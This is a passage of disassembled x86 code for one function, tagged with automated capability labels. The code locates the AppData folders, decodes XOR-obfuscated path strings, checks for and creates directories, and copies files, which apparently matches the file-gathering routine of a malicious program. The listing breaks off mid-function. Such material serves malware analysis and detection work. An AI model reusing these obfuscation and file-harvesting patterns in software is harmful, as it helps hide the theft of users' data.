Function at 0x413560
Capabilities:
Copy file
Create directory
Encode data using xor
Get common file path
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x51f0d8
push eax
mov eax, 0x17a0
mov dword fs:[0], esp
call fcn.004f8970
push ebx
push esi
push edi
mov edi, ecx
push 0x104
lea eax, [ebp - 0x16a0]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004f9bf0
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x16a0]
add esp, 0xc
push eax
push 0
push 0
push 0x1a
push 0
call esi
push 0x104
lea eax, [ebp - 0x17a8]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x17a8]
push eax
push 0
push 0
push 0x1c
push 0
call esi
movaps xmm0, xmmword [0x5452a0]
xor ecx, ecx
movups xmmword [ebp - 0x285], xmm0
mov dword [ebp - 0x275], 0x999c8e94
xorps xmm0, xmm0
mov byte [ebp - 0x271], 0x9a
movq qword [ebp - 0x270], xmm0
mov byte [ebp - 0x268], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x285], al
inc ecx
cmp ecx, 0x15
jb 0x413615
lea eax, [ebp - 0x285]
mov dword [0x55855c], ecx
push eax
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 0x270], 0
call fcn.00402a50
lea ecx, [ebp - 0x11a8]
call fcn.00402af0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa10]
mov esi, eax
call fcn.00402b00
mov ecx, esi
mov byte [ebp - 4], 2
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413670
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xa10]
call fcn.00402b20
lea eax, [ebp - 0xa10]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x16a0]
lea ecx, [ebp - 0x9f8]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0xa10]
call fcn.004029b0
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 4], 6
call fcn.004029b0
lea ecx, [ebp - 0x9f8]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test al, al
je 0x413803
movaps xmm0, xmmword [0x5438d0]
xor ecx, ecx
movups xmmword [ebp - 0x4ae], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x4ae], al
inc ecx
cmp ecx, 7
jb 0x4136f0
lea eax, [ebp - 0x4ae]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x11c0]
mov byte [ebp - 0x4a7], 0
call fcn.00402a50
lea ecx, [ebp - 0x11c0]
mov byte [ebp - 4], 7
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x6b4]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x11c0]
mov byte [ebp - 4], 9
call fcn.004029b0
lea ecx, [ebp - 0x6b4]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x41377a
push 0
lea ecx, [ebp - 0x6b4]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x4137f4
sub esp, 0x18
lea eax, [ebp - 0x6b4]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x9f8]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 9
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x4137bc
mov byte [edi], 1
jmp 0x4137f4
lea ecx, [ebp - 0x6b4]
call fcn.00402af0
push eax
lea ecx, [ebp - 0x11d8]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x11d8]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x11d8]
call fcn.004029b0
lea ecx, [ebp - 0x6b4]
mov byte [ebp - 4], 6
call fcn.004029b0
movaps xmm0, xmmword [0x545260]
xor ecx, ecx
movups xmmword [ebp - 0x556], xmm0
mov byte [ebp - 0x546], 0x88
xorps xmm0, xmm0
mov byte [ebp - 0x53d], 0
movq qword [ebp - 0x545], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x556], al
inc ecx
cmp ecx, 0x11
jb 0x413830
lea eax, [ebp - 0x556]
mov dword [0x5585e4], ecx
push eax
lea ecx, [ebp - 0x11f0]
mov byte [ebp - 0x545], 0
call fcn.00402a50
lea ecx, [ebp - 0x11f0]
call fcn.00402af0
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa40]
mov ebx, eax
call fcn.00402b00
mov ecx, ebx
mov byte [ebp - 4], 0xd
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413884
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0xa40]
call fcn.00402b20
lea eax, [ebp - 0xa40]
mov byte [ebp - 4], 0xe
push eax
lea edx, [ebp - 0x16a0]
lea ecx, [ebp - 0x9e0]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0xa40]
call fcn.004029b0
lea ecx, [ebp - 0x11f0]
mov byte [ebp - 4], 0x11
call fcn.004029b0
lea ecx, [ebp - 0x9e0]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x413a23
movaps xmm0, xmmword [0x543ef0]
xor ecx, ecx
mov word [ebp - 0x2f1], 0xa9b7
movups xmmword [ebp - 0x2ef], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2f1], al
inc ecx
cmp ecx, 9
jb 0x413910
lea eax, [ebp - 0x2f1]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x1208]
mov byte [ebp - 0x2e8], 0
call fcn.00402a50
lea ecx, [ebp - 0x1208]
mov byte [ebp - 4], 0x12
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x6cc]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1208]
mov byte [ebp - 4], 0x14
call fcn.004029b0
lea ecx, [ebp - 0x6cc]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x41399a
push 0
lea ecx, [ebp - 0x6cc]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x413a14
sub esp, 0x18
lea eax, [ebp - 0x6cc]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x9e0]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 0x14
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x4139dc
mov byte [edi], 1
jmp 0x413a14
lea ecx, [ebp - 0x6cc]
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1220]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1220]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x1220]
call fcn.004029b0
lea ecx, [ebp - 0x6cc]
mov byte [ebp - 4], 0x11
call fcn.004029b0
movaps xmm0, xmmword [0x5451b0]
xor ecx, ecx
movups xmmword [ebp - 0x2df], xmm0
mov dword [ebp - 0x2cf], 0x9b91909a
xorps xmm0, xmm0
mov byte [ebp - 0x2cb], 0x8b
movq qword [ebp - 0x2ca], xmm0
mov byte [ebp - 0x2c2], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2df], al
inc ecx
cmp ecx, 0x15
jb 0x413a60
lea eax, [ebp - 0x2df]
mov dword [0x55855c], ecx
push eax
lea ecx, [ebp - 0x1238]
mov byte [ebp - 0x2ca], 0
call fcn.00402a50
lea ecx, [ebp - 0x1238]
call fcn.00402af0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x8d8]
mov ebx, eax
call fcn.00402b00
mov ecx, ebx
mov byte [ebp - 4], 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413ab4
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0x8d8]
call fcn.00402b20
lea eax, [ebp - 0x8d8]
mov byte [ebp - 4], 0x19
push eax
lea edx, [ebp - 0x16a0]
lea ecx, [ebp - 0x9c8]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x8d8]
call fcn.004029b0
lea ecx, [ebp - 0x1238]
mov byte [ebp - 4], 0x1c
call fcn.004029b0
lea ecx, [ebp - 0x9c8]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x413c43
movaps xmm0, xmmword [0x543290]
xor ecx, ecx
movups xmmword [ebp - 0x42e], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x42e], al
inc ecx
cmp ecx, 7
jb 0x413b30
lea eax, [ebp - 0x42e]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1250]
mov byte [ebp - 0x427], 0
call fcn.00402a50
lea ecx, [ebp - 0x1250]
mov byte [ebp - 4], 0x1d
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x6e4]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1250]
mov byte [ebp - 4], 0x1f
call fcn.004029b0
lea ecx, [ebp - 0x6e4]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x413bba
push 0
lea ecx, [ebp - 0x6e4]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x413c34
sub esp, 0x18
lea eax, [ebp - 0x6e4]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x9c8]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 0x1f
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x413bfc
mov byte [edi], 1
jmp 0x413c34
lea ecx, [ebp - 0x6e4]
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1268]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1268]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x1268]
call fcn.004029b0
lea ecx, [ebp - 0x6e4]
mov byte [ebp - 4], 0x1c
call fcn.004029b0
movaps xmm0, xmmword [0x545880]
xor ecx, ecx
movups xmmword [ebp - 0x2c1], xmm0
mov dword [ebp - 0x2b1], 0x8a989097
xorps xmm0, xmm0
mov byte [ebp - 0x2ad], 0x8c
movq qword [ebp - 0x2ac], xmm0
mov byte [ebp - 0x2a4], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2c1], al
inc ecx
cmp ecx, 0x15
jb 0x413c80
lea eax, [ebp - 0x2c1]
mov dword [0x55855c], ecx
push eax
lea ecx, [ebp - 0x1280]
mov byte [ebp - 0x2ac], 0
call fcn.00402a50
lea ecx, [ebp - 0x1280]
mov byte [ebp - 4], 0x22
call fcn.00402af0
push eax
lea ecx, [ebp - 0x13b8]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x9b0]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x13b8]
call fcn.004029b0
lea ecx, [ebp - 0x1280]
mov byte [ebp - 4], 0x26
call fcn.004029b0
lea ecx, [ebp - 0x9b0]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x413e53
movaps xmm0, xmmword [0x5440a0]
xor ecx, ecx
mov dword [ebp - 0x17f], 0x8b81a9b7
mov byte [ebp - 0x17b], 0x8c
movups xmmword [ebp - 0x17a], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x17f], al
inc ecx
cmp ecx, 0xc
jb 0x413d40
lea eax, [ebp - 0x17f]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0x1298]
mov byte [ebp - 0x173], 0
call fcn.00402a50
lea ecx, [ebp - 0x1298]
mov byte [ebp - 4], 0x27
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x6fc]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1298]
mov byte [ebp - 4], 0x29
call fcn.004029b0
lea ecx, [ebp - 0x6fc]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x413dca
push 0
lea ecx, [ebp - 0x6fc]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x413e44
sub esp, 0x18
lea eax, [ebp - 0x6fc]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x9b0]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 0x29
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x413e0c
mov byte [edi], 1
jmp 0x413e44
lea ecx, [ebp - 0x6fc]
call fcn.00402af0
push eax
lea ecx, [ebp - 0x12b0]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x12b0]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x12b0]
call fcn.004029b0
lea ecx, [ebp - 0x6fc]
mov byte [ebp - 4], 0x26
call fcn.004029b0
movaps xmm0, xmmword [0x5435f0]
xor ecx, ecx
mov dword [ebp - 0x9d], 0x8082a1b7
mov dword [ebp - 0x99], 0xae9e828a
movups xmmword [ebp - 0x95], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x9d], al
inc ecx
cmp ecx, 0xf
jb 0x413e80
lea eax, [ebp - 0x9d]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x12c8]
mov byte [ebp - 0x8e], 0
call fcn.00402a50
lea ecx, [ebp - 0x12c8]
mov byte [ebp - 4], 0x2c
call fcn.00402af0
push eax
lea ecx, [ebp - 0x13d0]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x998]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x13d0]
call fcn.004029b0
lea ecx, [ebp - 0x12c8]
mov byte [ebp - 4], 0x30
call fcn.004029b0
lea ecx, [ebp - 0x998]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x414043
movaps xmm0, xmmword [0x543ee0]
xor ecx, ecx
movups xmmword [ebp - 0x43e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x43e], al
inc ecx
cmp ecx, 7
jb 0x413f30
lea eax, [ebp - 0x43e]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x12e0]
mov byte [ebp - 0x437], 0
call fcn.00402a50
lea ecx, [ebp - 0x12e0]
mov byte [ebp - 4], 0x31
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x714]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x12e0]
mov byte [ebp - 4], 0x33
call fcn.004029b0
lea ecx, [ebp - 0x714]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x413fba
push 0
lea ecx, [ebp - 0x714]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x414034
sub esp, 0x18
lea eax, [ebp - 0x714]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x998]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bl
mov byte [ebp - 4], 0x33
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x413ffc
mov byte [edi], 1
jmp 0x414034
lea ecx, [ebp - 0x714]
call fcn.00402af0
push eax
lea ecx, [ebp - 0x12f8]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x12f8]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x12f8]
call fcn.004029b0
lea ecx, [ebp - 0x714]
mov byte [ebp - 4], 0x30
call fcn.004029b0
movaps xmm0, xmmword [0x544fc0]
xor ecx, ecx
movups xmmword [ebp - 0x53c], xmm0
mov byte [ebp - 0x52c], 0x83
xorps xmm0, xmm0
mov byte [ebp - 0x523], 0
movq qword [ebp - 0x52b], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x53c], al
inc ecx
cmp ecx, 0x11
jb 0x414070
lea eax, [ebp - 0x53c]
mov dword [0x5585e4], ecx
push eax
lea ecx, [ebp - 0x1310]
mov byte [ebp - 0x52b], 0
call fcn.00402a50
lea ecx, [ebp - 0x1310]
mov byte [ebp - 4], 0x36
call fcn.00402af0
push eax
lea ecx, [ebp - 0x13e8]
call fcn.00402a50
push eax
lea edx, [ebp - 0x16a0]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x358]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x13e8]
call fcn.004029b0
lea ecx, [ebp - 0x1310]
mov byte [ebp - 4], 0x3a
call fcn.004029b0
lea ecx, [ebp - 0x358]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x414925
movaps xmm0, xmmword [0x543750]
xor ecx, ecx
mov dword [ebp - 0x16a], 0x968ca6b7
mov word [ebp - 0x166], 0xd097
movups xmmword [ebp - 0x164], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x16a], al
inc ecx
cmp ecx, 0xd
jb 0x414130
lea eax, [ebp - 0x16a]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x1328]
mov byte [ebp - 0x15d], 0
call fcn.00402a50
lea ecx, [ebp - 0x1328]
mov byte [ebp - 4], 0x3b
call fcn.00402af0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5b0]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1328]
mov byte [ebp - 4], 0x3d
call fcn.004029b0
lea ecx, [ebp - 0x5b0]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x4141be
push 0
lea ecx, [ebp - 0x5b0]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x414916
movaps xmm0, xmmword [0x5440d0]
xor ecx, ecx
mov word [ebp - 0x21b], 0xa5b7
mov byte [ebp - 0x219], 0x83
movups xmmword [ebp - 0x218], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x21b], al
inc ecx
cmp ecx, 0xa
jb 0x4141e0
lea eax, [ebp - 0x21b]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1340]
mov byte [ebp - 0x211], 0
call fcn.00402a50
lea ecx, [ebp - 0x1340]
mov byte [ebp - 4], 0x3e
call fcn.00402af0
push eax
lea edx, [ebp - 0x358]
lea ecx, [ebp - 0x1400]
call fcn.004838a0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x3f
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
lea ecx, [ebp - 0x1400]
mov bl, al
call fcn.004029b0
lea ecx, [ebp - 0x1340]
mov byte [ebp - 4], 0x3d
call fcn.004029b0
test bl, bl
je 0x41442a
movaps xmm0, xmmword [0x5440d0]
xor ecx, ecx
mov word [ebp - 0x22e], 0xa5b7
mov byte [ebp - 0x22c], 0x83
movups xmmword [ebp - 0x22b], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x22e], al
inc ecx
cmp ecx, 0xa
jb 0x414290
lea eax, [ebp - 0x22e]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1358]
mov byte [ebp - 0x224], 0
call fcn.00402a50
lea ecx, [ebp - 0x1358]
mov byte [ebp - 4], 0x40
call fcn.00402af0
push eax
lea edx, [ebp - 0x5b0]
lea ecx, [ebp - 0x72c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1358]
mov byte [ebp - 4], 0x42
call fcn.004029b0
lea ecx, [ebp - 0x72c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x414321
push 0
lea ecx, [ebp - 0x72c]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x41441b
movaps xmm0, xmmword [0x5440d0]
lea eax, [ebp - 0x72c]
sub esp, 0x18
mov word [ebp - 0x241], 0xa5b7
mov ecx, esp
mov dword [ebp - 0x14], esp
mov byte [ebp - 0x23f], 0x83
xor bl, bl
movups xmmword [ebp - 0x23e], xmm0
push eax
call fcn.0047faa0
mov byte [ebp - 4], 0x43
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x241], al
inc ecx
cmp ecx, 0xa
jb 0x414360
lea eax, [ebp - 0x241]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1370]
mov byte [ebp - 0x237], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x1370]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x358]
mov ecx, esi
call fcn.004838a0
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0x45
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x1370]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x4143dd
mov byte [edi], 1
jmp 0x414415
lea ecx, [ebp - 0x72c]
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1388]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x1388]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x1388]
call fcn.004029b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x72c]
mov byte [ebp - 4], 0x3d
call fcn.004029b0
movaps xmm0, xmmword [0x543e50]
xor ecx, ecx
mov dword [ebp - 0xcb], 0x8d82a0b7
mov word [ebp - 0xc7], 0x9c8e
mov byte [ebp - 0xc5], 0xd1
movups xmmword [ebp - 0xc4], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xcb], al
inc ecx
cmp ecx, 0xe
jb 0x414454
lea eax, [ebp - 0xcb]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xa70]
mov byte [ebp - 0xbd], 0
call fcn.00402a50
lea ecx, [ebp - 0xa70]
mov byte [ebp - 4], 0x47
call fcn.00402af0
push eax
lea edx, [ebp - 0x358]
lea ecx, [ebp - 0x1418]
call fcn.004838a0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x48
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
lea ecx, [ebp - 0x1418]
mov bl, al
call fcn.004029b0
lea ecx, [ebp - 0xa70]
mov byte [ebp - 4], 0x3d
call fcn.004029b0
test bl, bl
je 0x4146af
movaps xmm0, xmmword [0x543e50]
xor ecx, ecx
mov dword [ebp - 0xe2], 0x8d82a0b7
mov word [ebp - 0xde], 0x9c8e
mov byte [ebp - 0xdc], 0xd1
movups xmmword [ebp - 0xdb], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xe2], al
inc ecx
cmp ecx, 0xe
jb 0x414510
lea eax, [ebp - 0xe2]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xa88]
mov byte [ebp - 0xd4], 0
call fcn.00402a50
lea ecx, [ebp - 0xa88]
mov byte [ebp - 4], 0x49
call fcn.00402af0
push eax
lea edx, [ebp - 0x5b0]
lea ecx, [ebp - 0x744]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xa88]
mov byte [ebp - 4], 0x4b
call fcn.004029b0
lea ecx, [ebp - 0x744]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x4145a1
push 0
lea ecx, [ebp - 0x744]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x4146a0
movaps xmm0, xmmword [0x543e50]
lea eax, [ebp - 0x744]
sub esp, 0x18
mov dword [ebp - 0xf9], 0x8d82a0b7
mov ecx, esp
mov dword [ebp - 0x14], esp
mov word [ebp - 0xf5], 0x9c8e
xor bl, bl
mov byte [ebp - 0xf3], 0xd1
push eax
movups xmmword [ebp - 0xf2], xmm0
call fcn.0047faa0
mov byte [ebp - 4], 0x4c
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xf9], al
inc ecx
cmp ecx, 0xe
jb 0x4145e5
lea eax, [ebp - 0xf9]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xaa0]
mov byte [ebp - 0xeb], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xaa0]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x358]
mov ecx, esi
call fcn.004838a0
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0x4e
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xaa0]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x414662
mov byte [edi], 1
jmp 0x41469a
lea ecx, [ebp - 0x744]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xab8]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xab8]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xab8]
call fcn.004029b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x744]
mov byte [ebp - 4], 0x3d
call fcn.004029b0
movaps xmm0, xmmword [0x545c40]
xor ecx, ecx
movups xmmword [ebp - 0x5fa], xmm0
mov byte [ebp - 0x5e2], 0
xorps xmm0, xmm0
movq qword [ebp - 0x5ea], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5fa], al
inc ecx
cmp ecx, 0x10
jb 0x4146d1
lea eax, [ebp - 0x5fa]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0xad0]
mov byte [ebp - 0x5ea], 0
call fcn.00402a50
lea ecx, [ebp - 0xad0]
mov byte [ebp - 4], 0x50
call fcn.00402af0
push eax
lea edx, [ebp - 0x358]
lea ecx, [ebp - 0x1430]
call fcn.004838a0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x51
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
lea ecx, [ebp - 0x1430]
mov bl, al
call fcn.004029b0
lea ecx, [ebp - 0xad0]
mov byte [ebp - 4], 0x3d
call fcn.004029b0
test bl, bl
je 0x414916
movaps xmm0, xmmword [0x545c40]
xor ecx, ecx
movups xmmword [ebp - 0x613], xmm0
mov byte [ebp - 0x5fb], 0
xorps xmm0, xmm0
movq qword [ebp - 0x603], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x613], al
inc ecx
cmp ecx, 0x10
jb 0x414780
lea eax, [ebp - 0x613]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0xae8]
mov byte [ebp - 0x603], 0
call fcn.00402a50
lea ecx, [ebp - 0xae8]
mov byte [ebp - 4], 0x52
call fcn.00402af0
push eax
lea edx, [ebp - 0x5b0]
lea ecx, [ebp - 0x87c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xae8]
mov byte [ebp - 4], 0x54
call fcn.004029b0
lea ecx, [ebp - 0x87c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x414811
push 0
lea ecx, [ebp - 0x87c]
call fcn.00402af0
push eax
call esi
test eax, eax
je 0x41490b
movaps xmm0, xmmword [0x545c40]
lea eax, [ebp - 0x87c]
sub esp, 0x18
mov byte [ebp - 0x5c9], 0
movups xmmword [ebp - 0x5e1], xmm0
mov dword [ebp - 0x14], esp
mov ecx, esp
xorps xmm0, xmm0
xor bl, bl
push eax
movq qword [ebp - 0x5d1], xmm0
call fcn.0047faa0
mov byte [ebp - 4], 0x55
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5e1], al
inc ecx
cmp ecx, 0x10
jb 0x414850
lea eax, [ebp - 0x5e1]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0xb00]
mov byte [ebp - 0x5d1], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0xb00]
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x358]
mov ecx, esi
call fcn.004838a0
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0x57
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0xb00]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x4148cd
mov byte [edi], 1
jmp 0x414905
lea ecx, [ebp - 0x87c]
call fcn.00402af0
push eax
lea ecx, [ebp - 0xb18]
call fcn.00402a50
push 0
mov dl, 1
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0xb18]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xb18]
call fcn.004029b0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x87c]
call fcn.004029b0
lea ecx, [ebp - 0x5b0]
mov byte [ebp - 4], 0x3a
call fcn.004029b0
movaps xmm0, xmmword [0x545040]
